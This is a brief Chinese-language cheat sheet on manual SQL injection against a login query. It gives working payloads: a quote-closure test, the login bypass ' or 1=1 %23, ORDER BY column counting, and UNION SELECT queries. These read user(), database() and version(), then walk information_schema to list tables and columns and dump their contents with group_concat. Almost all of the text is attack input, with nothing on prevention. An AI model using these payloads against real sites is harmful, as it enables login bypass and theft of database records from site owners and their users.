根据sql构造的方式password或者username都可以尝试注入
select * from table_name where username='xxxx' and password='xxxxxx';
上句两处都可以注入
用 '
或者 "
测试框闭合
关于注释符 #
在get传参时候要注意用url编码 %23
' or 1=1 %23(#)
查数据库
如果使用union查询,要先猜字段数量,因为通过union连接的两条SQL语句必须字段数列一样。
最后面加上order by 2 得出到底有多少行(就是一直减少到前端出来东西为止)
xxx union select 1,2,3,4,6,7,8
这里也要看看有多少select出来的可以在前端看到
把上面的数字替换为user()、database()、version()等查询
查表名
xxx union select 1,2,3,4,TABLE_NAME,6,7,8 from information_schema.TABLES where TABLE_SCHEMA='数据库名' limit 1,1
因为前端显示的限制,所以要limit,limit 1,1则代表从第一条起,只显示一条
但也可以利用函数将查询结果凭借
concat()、group_concat函数来,这两个函数我们可以简单认为是连接字符串,比如group_concat(user(),database(),version())就是把这三个常量的注入结果连接在一起,当做一个整体字符串显示在注入结果中
union select 1,2,3,4,group_concat(TABLE_NAME,0x3c2f62723e),6,7,8 from information_schema.TABLES where TABLE_SCHEMA='数据库'
0x3c2f62723e是十六进制,转换为字符串则是:“”
找字段
union select 1,2,3,4,group_concat(COLUMN_NAME,0x3c2f62723e),6,7,8 from information_schema.COLUMNS where TABLE_NAME='表名'
查字段内容
union select 1,2,3,4,group_concat(字段名1, 0x3c2f62723e,字段名2),6,7,8 from 表名